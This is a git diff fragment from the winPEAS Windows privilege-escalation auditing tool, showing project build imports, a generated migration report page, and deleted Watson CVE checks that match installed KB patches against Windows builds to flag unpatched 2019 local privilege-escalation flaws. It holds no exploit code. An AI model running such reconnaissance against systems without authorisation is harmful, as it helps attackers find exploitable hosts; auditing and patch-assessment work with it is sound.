<Error Condition="!Exists('..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\EntityFramework.6.4.4\build\EntityFramework.props'))" />
|
||||
<Error Condition="!Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\EntityFramework.6.4.4\build\EntityFramework.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Fody.6.5.5\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.6.5.5\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\Microsoft.CodeCoverage.16.10.0\build\netstandard1.0\Microsoft.CodeCoverage.targets" Condition="Exists('..\packages\Microsoft.CodeCoverage.16.10.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')" />
|
||||
<Import Project="..\packages\Microsoft.NET.Test.Sdk.16.10.0\build\net45\Microsoft.NET.Test.Sdk.targets" Condition="Exists('..\packages\Microsoft.NET.Test.Sdk.16.10.0\build\net45\Microsoft.NET.Test.Sdk.targets')" />
|
||||
<Import Project="..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.targets" Condition="Exists('..\packages\MSTest.TestAdapter.2.2.5\build\net45\MSTest.TestAdapter.targets')" />
|
||||
<Import Project="..\packages\EntityFramework.6.4.4\build\EntityFramework.targets" Condition="Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.targets')" />
|
||||
<Import Project="..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets" Condition="Exists('..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets')" />
|
||||
<Import Project="..\packages\Fody.6.5.5\build\Fody.targets" Condition="Exists('..\packages\Fody.6.5.5\build\Fody.targets')" />
|
||||
<Import Project="..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets" Condition="Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets')" />
|
||||
</Project>
|
||||
268
winPEAS/winPEASexe/UpgradeLog.htm
Normal file
268
winPEAS/winPEASexe/UpgradeLog.htm
Normal file
@@ -0,0 +1,268 @@
|
||||
<!DOCTYPE html>
|
||||
<!-- saved from url=(0014)about:internet -->
|
||||
<html xmlns:msxsl="urn:schemas-microsoft-com:xslt"><head><meta content="en-us" http-equiv="Content-Language" /><meta content="text/html; charset=utf-16" http-equiv="Content-Type" /><title _locID="ConversionReport0">
|
||||
Migration Report
|
||||
</title><style>
|
||||
/* Body style, for the entire document */
|
||||
body
|
||||
{
|
||||
background: #F3F3F4;
|
||||
color: #1E1E1F;
|
||||
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* Header1 style, used for the main title */
|
||||
h1
|
||||
{
|
||||
padding: 10px 0px 10px 10px;
|
||||
font-size: 21pt;
|
||||
background-color: #E2E2E2;
|
||||
border-bottom: 1px #C1C1C2 solid;
|
||||
color: #201F20;
|
||||
margin: 0;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
/* Header2 style, used for "Overview" and other sections */
|
||||
h2
|
||||
{
|
||||
font-size: 18pt;
|
||||
font-weight: normal;
|
||||
padding: 15px 0 5px 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* Header3 style, used for sub-sections, such as project name */
|
||||
h3
|
||||
{
|
||||
font-weight: normal;
|
||||
font-size: 15pt;
|
||||
margin: 0;
|
||||
padding: 15px 0 5px 0;
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/* Color all hyperlinks one color */
|
||||
a
|
||||
{
|
||||
color: #1382CE;
|
||||
}
|
||||
|
||||
/* Table styles */
|
||||
table
|
||||
{
|
||||
border-spacing: 0 0;
|
||||
border-collapse: collapse;
|
||||
font-size: 10pt;
|
||||
}
|
||||
|
||||
table th
|
||||
{
|
||||
background: #E7E7E8;
|
||||
text-align: left;
|
||||
text-decoration: none;
|
||||
font-weight: normal;
|
||||
padding: 3px 6px 3px 6px;
|
||||
}
|
||||
|
||||
table td
|
||||
{
|
||||
vertical-align: top;
|
||||
padding: 3px 6px 5px 5px;
|
||||
margin: 0px;
|
||||
border: 1px solid #E7E7E8;
|
||||
background: #F7F7F8;
|
||||
}
|
||||
|
||||
/* Local link is a style for hyperlinks that link to file:/// content, there are lots so color them as 'normal' text until the user mouse overs */
|
||||
.localLink
|
||||
{
|
||||
color: #1E1E1F;
|
||||
background: #EEEEED;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.localLink:hover
|
||||
{
|
||||
color: #1382CE;
|
||||
background: #FFFF99;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
/* Center text, used in the over views cells that contain message level counts */
|
||||
.textCentered
|
||||
{
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* The message cells in message tables should take up all avaliable space */
|
||||
.messageCell
|
||||
{
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
/* Padding around the content after the h1 */
|
||||
#content
|
||||
{
|
||||
padding: 0px 12px 12px 12px;
|
||||
}
|
||||
|
||||
/* The overview table expands to width, with a max width of 97% */
|
||||
#overview table
|
||||
{
|
||||
width: auto;
|
||||
max-width: 75%;
|
||||
}
|
||||
|
||||
/* The messages tables are always 97% width */
|
||||
#messages table
|
||||
{
|
||||
width: 97%;
|
||||
}
|
||||
|
||||
/* All Icons */
|
||||
.IconSuccessEncoded, .IconInfoEncoded, .IconWarningEncoded, .IconErrorEncoded
|
||||
{
|
||||
min-width:18px;
|
||||
min-height:18px;
|
||||
background-repeat:no-repeat;
|
||||
background-position:center;
|
||||
}
|
||||
|
||||
/* Success icon encoded */
|
||||
.IconSuccessEncoded
|
||||
{
|
||||
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
|
||||
/* [---XsltValidateInternal-Base64EncodedImage:IconSuccess#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
|
||||
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABcElEQVR4Xq2TsUsCURzHv15g8ZJcBWlyiYYgCIWcb9DFRRwMW5TA2c0/QEFwFkxxUQdxVlBwCYWOi6IhWgQhBLHJUCkhLr/BW8S7gvrAg+N+v8/v+x68Z8MGy+XSCyABQAXgBgHGALoASkIIDWSLeLBetdHryMjd5IxQPWT4rn1c/P7+xxp72Cs9m5SZ0Bq2vPnbPFafK2zDvmNHypdC0BPkLlQhxJsCAhQoZwdZU5mwxh720qGo8MzTxTTKZDPCx2HoVzp6lz0Q9tKhyx0kGs8Ny+TkWRKk8lCROwEduhyg9l/6lunOPSfmH3NUH6uQ0KHLAe7JYvJjevm+DAMGJHToKtigE+vwvIidxLamb8IBY9e+C5LiXREkfho3TSd06HJA13/oh6T51MTsfQbHrsMynQ5dDihFjiK8JJAU9AKIWTp76dCVN7HWHrajmUEGvyF9nkbAE6gLIS7kTUyuf2gscLoJrElZo/Mvj+nPz/kLTmfnEwP3tB0AAAAASUVORK5CYII=);
|
||||
}
|
||||
|
||||
/* Information icon encoded */
|
||||
.IconInfoEncoded
|
||||
{
|
||||
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
|
||||
/* [---XsltValidateInternal-Base64EncodedImage:IconInformation#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
|
||||
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABHElEQVR4Xs2TsUoDQRRF7wwoziokjZUKadInhdhukR9YP8DMX1hYW+QvdsXa/QHBbcXC7W0CamWTQnclFutceIQJwwaWNLlwm5k5d94M76mmaeCrrmsLYOocY12FcxZFUeozCqKqqgYA8uevv1H6VuPxcwlfk5N92KHBxfFeCSAxxswlYAW/Xr989x/mv9gkhtyMDhcAxgzRsp7flj8B/HF1RsMXq+NZMkopaHe7lbKxQUEIGbKsYNoGn969060hZBkQex/W8oRQwsQaW2o3Ago2SVcJUzAgY3N0lTCZZm+zPS8HB51gMmS1DEYyOz9acKO1D8JWTlafKIMxdhvlfdyT94Vv5h7P8Ky7nQzACmhvKq3zk3PjW9asz9D/1oigecsioooAAAAASUVORK5CYII=);
|
||||
}
|
||||
|
||||
/* Warning icon encoded */
|
||||
.IconWarningEncoded
|
||||
{
|
||||
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
|
||||
/* [---XsltValidateInternal-Base64EncodedImage:IconWarning#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
|
||||
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAx0lEQVR4XpWSMQ7CMAxFf4xAyBMLCxMrO8dhaBcuwdCJS3RJBw7SA/QGTCxdWJgiQYWKXJWKIXHIlyw5lqr34tQgEOdcBsCOx5yZK3hCCKdYXneQkh4pEfqzLfu+wVDSyyzFoJjfz9NB+pAF+eizx2Vruts0k15mPgvS6GYvpVtQhB61IB/dk6AF6fS4Ben0uIX5odtFe8Q/eW1KvFeH4e8khT6+gm5B+t3juyDt7n0jpe+CANTd+oTUjN/U3yVaABnSUjFz/gFq44JaVSCXeQAAAABJRU5ErkJggg==);
|
||||
}
|
||||
|
||||
/* Error icon encoded */
|
||||
.IconErrorEncoded
|
||||
{
|
||||
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
|
||||
/* [---XsltValidateInternal-Base64EncodedImage:IconError#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
|
||||
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABQElEQVR4XqWTvUoEQRCE6wYPZUA80AfwAQz23uCMjA7MDRQEIzPBVEyNTQUFIw00vcQTTMzuAh/AxEQQT8HF/3G/oGGnEUGuoNnd6qoZuqltyKEsyzVJq5I6rnUp6SjGeGhESikzzlc1eL7opfuVbrqbU1Zw9NCgtQMaZpY0eNnaaL2fHusvTK5vKu7sjSS1Y4y3QUA6K3e3Mau5UFDyMP7tYF9o8cAHZv68vipoIJg971PZIZ5HiwdvYGGvFVFHmGmZ2MxwmQYPXubPl9Up0tfoMQGetXd6mRbvhBw+boZ6WF7Mbv1+GsHRk0fQmPAH1GfmZirbCfDJ61tw3Px8/8pZsPAG4jlVhcPgZ7adwNWBB68lkRQWFiTgFlbnLY3DGGM7izIJIyT/jjIvEJw6fdJTc6krDzh6aMwMP9bvDH4ADSsa9uSWVJkAAAAASUVORK5CYII=);
|
||||
}
|
||||
</style><script type="text/javascript" language="javascript">
|
||||
|
||||
// Startup
|
||||
// Hook up the the loaded event for the document/window, to linkify the document content
|
||||
var startupFunction = function() { linkifyElement("messages"); };
|
||||
|
||||
if(window.attachEvent)
|
||||
{
|
||||
window.attachEvent('onload', startupFunction);
|
||||
}
|
||||
else if (window.addEventListener)
|
||||
{
|
||||
window.addEventListener('load', startupFunction, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
document.addEventListener('load', startupFunction, false);
|
||||
}
|
||||
|
||||
// Toggles the visibility of table rows with the specified name
|
||||
function toggleTableRowsByName(name)
|
||||
{
|
||||
var allRows = document.getElementsByTagName('tr');
|
||||
for (i=0; i < allRows.length; i++)
|
||||
{
|
||||
var currentName = allRows[i].getAttribute('name');
|
||||
if(!!currentName && currentName.indexOf(name) == 0)
|
||||
{
|
||||
var isVisible = allRows[i].style.display == '';
|
||||
isVisible ? allRows[i].style.display = 'none' : allRows[i].style.display = '';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function scrollToFirstVisibleRow(name)
|
||||
{
|
||||
var allRows = document.getElementsByTagName('tr');
|
||||
for (i=0; i < allRows.length; i++)
|
||||
{
|
||||
var currentName = allRows[i].getAttribute('name');
|
||||
var isVisible = allRows[i].style.display == '';
|
||||
if(!!currentName && currentName.indexOf(name) == 0 && isVisible)
|
||||
{
|
||||
allRows[i].scrollIntoView(true);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// Linkifies the specified text content, replaces candidate links with html links
|
||||
function linkify(text)
|
||||
{
|
||||
if(!text || 0 === text.length)
|
||||
{
|
||||
return text;
|
||||
}
|
||||
|
||||
// Find http, https and ftp links and replace them with hyper links
|
||||
var urlLink = /(http|https|ftp)\:\/\/[a-zA-Z0-9\-\.]+(:[a-zA-Z0-9]*)?\/?([a-zA-Z0-9\-\._\?\,\/\\\+&%\$#\=~;\{\}])*/gi;
|
||||
|
||||
return text.replace(urlLink, '<a href="$&">$&</a>') ;
|
||||
}
|
||||
|
||||
// Linkifies the specified element by ID
|
||||
function linkifyElement(id)
|
||||
{
|
||||
var element = document.getElementById(id);
|
||||
if(!!element)
|
||||
{
|
||||
element.innerHTML = linkify(element.innerHTML);
|
||||
}
|
||||
}
|
||||
|
||||
function ToggleMessageVisibility(projectName)
|
||||
{
|
||||
if(!projectName || 0 === projectName.length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
toggleTableRowsByName("MessageRowClass" + projectName);
|
||||
toggleTableRowsByName('MessageRowHeaderShow' + projectName);
|
||||
toggleTableRowsByName('MessageRowHeaderHide' + projectName);
|
||||
}
|
||||
|
||||
function ScrollToFirstVisibleMessage(projectName)
|
||||
{
|
||||
if(!projectName || 0 === projectName.length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// First try the 'Show messages' row
|
||||
if(!scrollToFirstVisibleRow('MessageRowHeaderShow' + projectName))
|
||||
{
|
||||
// Failed to find a visible row for 'Show messages', try an actual message row
|
||||
scrollToFirstVisibleRow('MessageRowClass' + projectName);
|
||||
}
|
||||
}
|
||||
</script></head><body><h1 _locID="ConversionReport">
|
||||
Migration Report - </h1><div id="content"><h2 _locID="OverviewTitle">Overview</h2><div id="overview"><table><tr><th></th><th _locID="ProjectTableHeader">Project</th><th _locID="PathTableHeader">Path</th><th _locID="ErrorsTableHeader">Errors</th><th _locID="WarningsTableHeader">Warnings</th><th _locID="MessagesTableHeader">Messages</th></tr><tr><td class="IconErrorEncoded" /><td><strong><a href="#winPEAS">winPEAS</a></strong></td><td>winPEAS\winPEAS.csproj</td><td class="textCentered"><a href="#winPEASError">1</a></td><td class="textCentered"><a>0</a></td><td class="textCentered"><a href="#">0</a></td></tr></table></div><h2 _locID="SolutionAndProjectsTitle">Solution and projects</h2><div id="messages"><a name="winPEAS" /><h3>winPEAS</h3><table><tr id="winPEASHeaderRow"><th></th><th class="messageCell" _locID="MessageTableHeader">Message</th></tr><tr name="ErrorRowClasswinPEAS"><td class="IconErrorEncoded"><a name="winPEASError" /></td><td class="messageCell"><strong>winPEAS\winPEAS.csproj:
|
||||
</strong><span>Error on line 378651072. Expected 'ENCODING' but found 'utf-8'.</span></td></tr></table></div></div></body></html>
|
||||
File diff suppressed because one or more lines are too long
@@ -1,105 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_0836
|
||||
{
|
||||
private const string name = "CVE-2019-0836";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493475, 4498375, 4499154, 4505051, 4503291,
|
||||
4507458, 4512497, 4517276, 4522009, 4520011,
|
||||
4524153, 4525232, 4530681, 4534306, 4537776,
|
||||
4540693, 4550930, 4556826, 4561649, 4567518,
|
||||
4565513, 4571692, 4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493470, 4499418, 4494440, 4534271, 4534307,
|
||||
4537764, 4537806, 4540670, 4541329, 4550929,
|
||||
4550947, 4556813, 4561616, 4567517, 4565511,
|
||||
4571694, 4577015
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 15063:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493474, 4493436, 4499162, 4499181, 4502112,
|
||||
4505055, 4503279, 4503289, 4509476, 4507450,
|
||||
4507467, 4512474, 4512507, 4516059, 4516068,
|
||||
4522011, 4520010, 4524151, 4525245, 4530711,
|
||||
4534296, 4537765, 4540705, 4550939, 4556804,
|
||||
4561605, 4567516, 4565499, 4571689, 4577021
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493441, 4493440, 4499147, 4499179, 4505062,
|
||||
4503281, 4503284, 4509477, 4507455, 4507465,
|
||||
4512494, 4512516, 4516066, 4522012, 4520004,
|
||||
4520006, 4524150, 4525241, 4530714, 4534276,
|
||||
4534318, 4537789, 4537816, 4540681, 4541330,
|
||||
4554342, 4550927, 4556812, 4561602, 4567515,
|
||||
4565508, 4571741, 4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493464, 4493437, 4499167, 4499183, 4505064,
|
||||
4503286, 4503288, 4509478, 4507435, 4507466,
|
||||
4512501, 4512509, 4516045, 4516058, 4522014,
|
||||
4519978, 4520008, 4524149, 4525237, 4530717,
|
||||
4534293, 4534308, 4537762, 4537795, 4540689,
|
||||
4541333, 4554349, 4550922, 4550944, 4556807,
|
||||
4561621, 4567514, 4565489, 4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493509, 4495667, 4494441, 4497934, 4501835,
|
||||
4505056, 4501371, 4503327, 4509479, 4505658,
|
||||
4507469, 4511553, 4512534, 4512578, 4522015,
|
||||
4519338, 4520062, 4524148, 4523205, 4530715,
|
||||
4534273, 4534321, 4532691, 4537818, 4538461,
|
||||
4541331, 4554354, 4549949, 4550969, 4551853,
|
||||
4561608, 4567513, 4558998, 4559003, 4565349,
|
||||
4571748, 4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,82 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_0841
|
||||
{
|
||||
private const string name = "CVE-2019-0841";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 15063:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493474, 4493436, 4499162, 4499181, 4502112,
|
||||
4505055, 4503279, 4503289, 4509476, 4507450,
|
||||
4507467, 4512474, 4512507, 4516059, 4516068,
|
||||
4522011, 4520010, 4524151, 4525245, 4530711,
|
||||
4534296, 4537765, 4540705, 4550939, 4556804,
|
||||
4561605, 4567516, 4565499, 4571689, 4577021
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493441, 4493440, 4499147, 4499179, 4505062,
|
||||
4503281, 4503284, 4509477, 4507455, 4507465,
|
||||
4512494, 4512516, 4516066, 4522012, 4520004,
|
||||
4520006, 4524150, 4525241, 4530714, 4534276,
|
||||
4534318, 4537789, 4537816, 4540681, 4541330,
|
||||
4554342, 4550927, 4556812, 4561602, 4567515,
|
||||
4565508, 4571741, 4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493464, 4493437, 4499167, 4499183, 4505064,
|
||||
4503286, 4503288, 4509478, 4507435, 4507466,
|
||||
4512501, 4512509, 4516045, 4516058, 4522014,
|
||||
4519978, 4520008, 4524149, 4525237, 4530717,
|
||||
4534293, 4534308, 4537762, 4537795, 4540689,
|
||||
4541333, 4554349, 4550922, 4550944, 4556807,
|
||||
4561621, 4567514, 4565489, 4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4493509, 4495667, 4494441, 4497934, 4501835,
|
||||
4505056, 4501371, 4503327, 4509479, 4505658,
|
||||
4507469, 4511553, 4512534, 4512578, 4522015,
|
||||
4519338, 4520062, 4524148, 4523205, 4530715,
|
||||
4534273, 4534321, 4532691, 4537818, 4538461,
|
||||
4541331, 4554354, 4549949, 4550969, 4551853,
|
||||
4561608, 4567513, 4558998, 4559003, 4565349,
|
||||
4571748, 4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_1064
|
||||
{
|
||||
private const string name = "CVE-2019-1064";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4503267, 4503294, 4509475, 4507459, 4507460,
|
||||
4512495, 4512517, 4516044, 4516061, 4522010,
|
||||
4519998, 4524152, 4525236, 4530689
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 15063:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4503279, 4503289, 4509476, 4507450, 4507467,
|
||||
4512474, 4512507, 4516059, 4516068, 4522011,
|
||||
4520010, 4524151, 4525245, 4530711, 4534296,
|
||||
4537765, 4540705, 4550939, 4556804, 4561605,
|
||||
4567516, 4565499, 4571689, 4577021
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4503284, 4503281, 4509477, 4507455, 4507465,
|
||||
4512494, 4512516, 4516066, 4522012, 4520004,
|
||||
4520006, 4524150, 4525241, 4530714, 4534276,
|
||||
4534318, 4537789, 4537816, 4540681, 4541330,
|
||||
4554342, 4550927, 4556812, 4561602, 4567515,
|
||||
4565508, 4571741, 4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4503286, 4503288, 4509478, 4507435, 4507466,
|
||||
4512501, 4512509, 4516045, 4516058, 4522014,
|
||||
4519978, 4520008, 4524149, 4525237, 4530717,
|
||||
4534293, 4534308, 4537762, 4537795, 4540689,
|
||||
4541333, 4554349, 4550922, 4550944, 4556807,
|
||||
4561621, 4567514, 4565489, 4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4503327, 4501371, 4509479, 4505658, 4507469,
|
||||
4511553, 4512534, 4512578, 4522015, 4519338,
|
||||
4520062, 4524148, 4523205, 4530715, 4534273,
|
||||
4534321, 4532691, 4537818, 4538461, 4541331,
|
||||
4554354, 4549949, 4550969, 4551853, 4561608,
|
||||
4567513, 4558998, 4559003, 4565349, 4571748,
|
||||
4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4503293, 4501375, 4505903, 4507453, 4512508,
|
||||
4512941, 4515384, 4517211, 4522016, 4517389,
|
||||
4522355, 4524147, 4524570, 4530684, 4528760,
|
||||
4532695, 4532693, 4535996, 4540673, 4541335,
|
||||
4551762, 4554364, 4549951, 4550945, 4556799,
|
||||
4560960, 4567512, 4565483, 4559004, 4565351,
|
||||
4566116, 4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,109 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_1130
|
||||
{
|
||||
private const string name = "CVE-2019-1130";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4507458, 4512497, 4517276, 4522009, 4520011,
|
||||
4524153, 4525232, 4530681, 4534306, 4537776,
|
||||
4540693, 4550930, 4556826, 4561649, 4567518,
|
||||
4565513, 4571692, 4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4507460, 4507459, 4512495, 4512517, 4516044,
|
||||
4516061, 4522010, 4519998, 4524152, 4525236,
|
||||
4530689
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 15063:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4507460, 4507459, 4512495, 4512517, 4516044,
|
||||
4516061, 4522010, 4519998, 4524152, 4525236,
|
||||
4530689
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4507455, 4507465, 4512494, 4512516, 4516066,
|
||||
4522012, 4520004, 4520006, 4524150, 4525241,
|
||||
4530714, 4534276, 4534318, 4537789, 4537816,
|
||||
4540681, 4541330, 4554342, 4550927, 4556812,
|
||||
4561602, 4567515, 4565508, 4571741, 4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4507435, 4507466, 4512501, 4512509, 4516045,
|
||||
4516058, 4522014, 4519978, 4520008, 4524149,
|
||||
4525237, 4530717, 4534293, 4534308, 4537762,
|
||||
4537795, 4540689, 4541333, 4554349, 4550922,
|
||||
4550944, 4556807, 4561621, 4567514, 4565489,
|
||||
4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4507469, 4505658, 4511553, 4512534, 4512578,
|
||||
4522015, 4519338, 4520062, 4524148, 4523205,
|
||||
4530715, 4534273, 4534321, 4532691, 4537818,
|
||||
4538461, 4541331, 4554354, 4549949, 4550969,
|
||||
4551853, 4561608, 4567513, 4558998, 4559003,
|
||||
4565349, 4571748, 4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4507453, 4505903, 4512508, 4512941, 4515384,
|
||||
4517211, 4522016, 4517389, 4522355, 4524147,
|
||||
4524570, 4530684, 4528760, 4532695, 4532693,
|
||||
4535996, 4540673, 4541335, 4551762, 4554364,
|
||||
4549951, 4550945, 4556799, 4560960, 4567512,
|
||||
4565483, 4559004, 4565351, 4566116, 4574727,
|
||||
4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,86 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_1253
|
||||
{
|
||||
private const string name = "CVE-2019-1253";
|
||||
|
||||
